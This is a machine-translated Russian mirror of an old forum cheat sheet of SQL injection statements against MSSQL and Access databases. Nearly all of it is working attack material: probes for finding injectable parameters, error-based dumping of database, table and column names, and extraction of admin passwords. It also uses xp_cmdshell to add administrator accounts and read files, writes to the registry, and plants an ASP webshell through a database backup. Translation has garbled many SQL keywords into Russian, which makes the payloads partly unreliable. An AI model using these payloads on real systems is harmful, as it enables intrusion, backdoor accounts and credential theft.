Эта статья является зеркальной статьёй машинного перевода, пожалуйста, нажмите здесь, чтобы перейти к оригиналу.

Вид: 14167|Ответ: 0

[Безопасная связь] Общие операторы SQL-инъекций

[Скопировать ссылку]
Опубликовано 22.11.2014 17:17:21 | | |
1. Определить, есть ли инъекция
; и 1=1
; и 1=2

2. Предварительное решение о том, является ли MSSQL
; и пользователь>0

3. Оценивайте систему баз данных
; и (выбрать count(*) из sysobjects)>0 mssql
; и (выбрать count(*) из msysobjects)>0 доступ

4. Параметр инъекции — это символ
'и [критерии запроса] и ''='

5. При поиске отсутствуют фильтрованные параметры
'и [критерии запроса] и '%25'='

6. Угадайте название стола
; и (выберите Count(*) из [название таблицы])>0

7. Угадайте поле
; и (выберите Count(имя поля) из названия таблицы)>0

8. Угадайте длину рекорда в поле
; и (выберите топ-1 len (название поля) из названия таблицы)>0

9. (1) Угадайте значение ASCII поля (access)
; и (выбрать топ-1 ASC (Mid(имя поля, 1,1)) из названия таблицы)>0

(2) Угадайте значение ASCII поля (mssql)
; и (выберите топ-1 Unicode(substring(имя поля,1,1)) из названия таблицы)>0

10. Структура разрешения на тестирование (mssql)
; и 1=(выберите IS_SRVROLEMEMBER('системный администратор')); --
; и 1=(выберите IS_SRVROLEMEMBER('serveradmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('setupadmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('securityadmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('diskadmin')); --
; и 1=(выберите IS_SRVROLEMEMBER('bulkadmin')); --
; и 1=(выберите IS_MEMBER('db_owner')); --

11. Добавить аккаунт для mssql и системы
; исполнительный master.dbo.sp_addlogin имя пользователя; --
; exec master.dbo.sp_password null, username, password; --
; exec master.dbo.sp_addsrvrolemember sysadmin username; --
; исполнитель master.dbo.xp_cmdshell 'net username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; исполнительный master.dbo.xp_cmdshell 'net user username password /add'; --
; исполнительный master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; --

12. (1) Пройтись по каталогу
; Create table dirs(paths varchar(100), id int)
; Вставьте директоров exec master.dbo.xp_dirtree 'c:\'
; и (выберите топ-1 путь из директоров)>0
; и (выберите верхние 1 пути из DIRS, где пути, не входящие в ('пути, полученные с предыдущего шага'))>)

(2) Пройтись по каталогу
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; вставьте временный исполнительный master.dbo.xp_availablemedia; -- Собери все текущие диски
; вставьте в temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Получить список подкаталогов
; вставить в temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Получить структуру дерева каталогов для всех подкаталогов
; Вставьте в temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Просмотр содержимого файла

13. Хранимые процедуры в mssql
xp_regenumvalues Корневый ключ реестра, дочерний ключ
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' возвращает все значения ключей в нескольких наборах записей
xp_regread Корневый ключ, дочерний ключ, имя ключа-значения
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' возвращает значение установленного ключа
xp_regwrite Корневой ключ, дочерний ключ, имя значения, тип значения, значение
Существует два типа типов значений: REG_SZ REG_DWORD для типов символов и для целых чисел
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' в реестр
xp_regdeletevalue Корневой ключ, подключ, имя значения
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' для удаления значения
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' для удаления ключа, включая все значения под этим ключом

14. Резервное копирование MSSQL создаёт вебшелл
Модель использования
создать таблицу cmd (изображение STR);
вставить в значения cmd(str) ('<% Dim oScript %>');
резервное копирование модели базы данных в disk='c:\l.asp';

15. Встроенные функции MSSQL
; и (выберите @@version)>0, чтобы получить номер версии Windows
; и user_name()='dbo' для определения, является ли подключённый пользователь текущей системы SA
; и (выберите user_name())>0 Взрыв подключённых пользователей текущей системы
; и (выберите db_name())>0 для получения текущей подключённой базы данных



Нарушение данных MSSQL с ручной аннотацией

1. Обнаружить текущее имя таблицы и название столбца
Отправьте «'having 1=1--» после точки ввода, чтобы получить ответное сообщение на английском языке, в котором можно увидеть название таблицы и название столбца. Отправьте «group by the list name with 1=1--», чтобы получить другое название столбца; Продолжайте отправлять группу по списку открытого имени таблицы, то есть по названию открытой таблицы. Имя второго столбца имеет 1=1--", что даёт другое название столбца. Коммитировать так же, пока страница не перестанет возвращать сообщения об ошибках, чтобы получить все имена столбцов. Интересные факты: имена таблиц Violent и столбцов используются в сочетании с GROUP BY в SQL-операторах для условных суждений. Поскольку оператор неполный, база данных возвращает сообщение об ошибке и отображает имя таблицы и имя столбца. Базовый метод может отображать только текущую таблицу в базе данных, и если в таблице много имён столбцов, использовать базовый метод очень сложно.

Во-первых. Все имена баз данных открыты
Используйте оператор "and 0<>(select count(*) from master.dbo.sysdatabases, где name>1 и dbid=[N])" для открытия произвольных названий таблиц и столбцов в базе данных, где "[N]" представляет N-ю таблицу в базе данных.
Шаг 1: После введения точки введите следующее утверждение: «и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=12)», поскольку значение dbid — от 1 до 5, которое используется системой, поэтому пользователь должен построить его из 6, и мы отправили имя>1, поле имени — это поле типа символа, и сравнение чисел будет ошибочным, поэтому после отправки IE вернёт следующую информацию: «Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] преобразует значение nvarchar 'Northwind' в тип данных int Колонка. Таким образом, значение поля имени открывается, то есть мы получаем имя базы данных «Northwind». Изменение значения «dbid» позволяет получить все имена баз данных.

и 0<>(выберите count(*) из master.dbo.sysdatabases, где name>1 и dbid=[N])-- Modify N для взрыва всех имён баз данных из 6


Во-вторых. Разместить все имена таблиц в указанной базе данных
После получения имени базы данных нужно получить все имена таблиц в библиотеке, ввести следующее сообщение: «and 0<>(выберите имя верхнего 1 из master.dbo.sysobjects, где xtype='U')», вот имя таблицы в главной базе данных, и SQL-оператор запроса возвращает значение имени, а затем сравнивая его с числом 0, чтобы значение имени было открыто. После подачи заявки было объявлено название стола «'spt_monito».
Затем открываются другие таблицы, и подаётся следующее утверждение: «и 0<>(выберите имя верхнего 1 из master.dbo.sysobjects, где xtype='U' и имя не входит в ('spt_monito'))», и открывается другая таблица с названием «cd512». Файл «и имя не в(' spt_monito',' CD512',..))" Вы можете узнать все названия столов.

и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.sysobjects, где xtype='U')--
и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.sysobjects, где xtype='U' и имя не входит в ('[Exploded table name]'))--
и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.sysobjects, где xtype='U' и имя не входит в ('[Имя взрывной таблицы]', '[Взорвавшееся имя второй таблицы]')))--

4. Вывести все имена столбцов в указанной таблице
и 0<>(выберите count(*) из bbs.dbo.sysobjects, где xtype='U' и name='admin' и uid>(str(id)))
Преобразуйте значение ID в тип символа и сравните его с целочисленным. Номер удостоверения не введён. Значение: 949578421 name='имя таблицы'

и 0<>(выберите имя верхнего 1 из wutong.dbo.syscolumns, где id=949578421)-- Имя поля в таблице администратора открывается

Отправьте повторно и 0<>(выберите топ-1 имя из wutong.dbo.syscolumns, где id=949578421 и имя не входит в ('adduser')))--
Файл «и имя не в(' spt_monito',' CD512',..))" Все названия полей можно найти в таблице администратора.


и 0<>(выберите count(*) из [укажите имя базы данных].dbo.sysobjects, где xtype='U' и name='[Название таблицы поля, которое должно быть взорвано]' и uid>(str(id)))--Значение ID названия таблицы поля, которое должно взрываться

и 0<>(выберите имя верхнего 1 из [укажите имя базы данных].dbo.syscolumns, где id=exploded id value) — имя поля в таблице значений exploding id

и 0<>(выберите имя верхней 1 из [укажите имя базы данных].dbo.syscolumns, где id=Взрывное значение id и имя не входит в ('[Exploed field name]')))--



5. Прочитайте данные в указанной таблице

и 0<(выберите A_ID с wutong.dbo.admin, где A_UserID>1) — контент, который сломал A_PWD

и 0<(выберите [существующее поле] из [укажите имя базы данных].dbo.[название таблицы для запроса] где [имя поля для взрывного содержимого]>1)--

и 0<(выберите A_ID из wutong.dbo.admin, где A_PWD>1 и A_UserID='admin') — пароль администратора раскрывается


и 0<(Выберите Top 1 A_UserID FROM admin, где A_ID<>1) — имя администратора id<>1 (fuhao)

и 0<(Выберите Топ-1 A_UserID ИЗ админа, где A_ID <>1 и A_UserID <> 'fuhao') — имя второго админа <> не равно (tuiguang)

и 0<(Выберите топ-1 A_UserID ИЗ админа, где A_ID <>1 и A_UserID <> 'fuhao' и A_UserID <> 'tuiguang')--

После того как вы знаете название таблицы и столбца базы данных, вы можете использовать «оператор запроса» для чтения любой информации в базе. Например, если вы хотите прочитать N-тые данные в столбце таблицы, вы можете ввести утверждение: «и (Выберите название верхней 1 столбцы ИЗ названия таблицы, где id=[N])>1» ([N] обозначает N-й данные в столбце), и вы сможете узнать нужные данные из информации, возвращаемой IE.






Предыдущий:Как скрыть сжатый rar-файл в jpg-файле
Следующий:Собери «Гарри Поттера» 1~7 Достань и поделись Если не нравится, не распыляй
Отказ:
Всё программное обеспечение, программные материалы или статьи, публикуемые Code Farmer Network, предназначены исключительно для учебных и исследовательских целей; Вышеуказанный контент не должен использоваться в коммерческих или незаконных целях, иначе пользователи несут все последствия. Информация на этом сайте взята из Интернета, и споры по авторским правам не имеют отношения к этому сайту. Вы должны полностью удалить вышеуказанный контент с компьютера в течение 24 часов после загрузки. Если вам нравится программа, пожалуйста, поддержите подлинное программное обеспечение, купите регистрацию и получите лучшие подлинные услуги. Если есть нарушение, пожалуйста, свяжитесь с нами по электронной почте.

Mail To:help@itsvse.com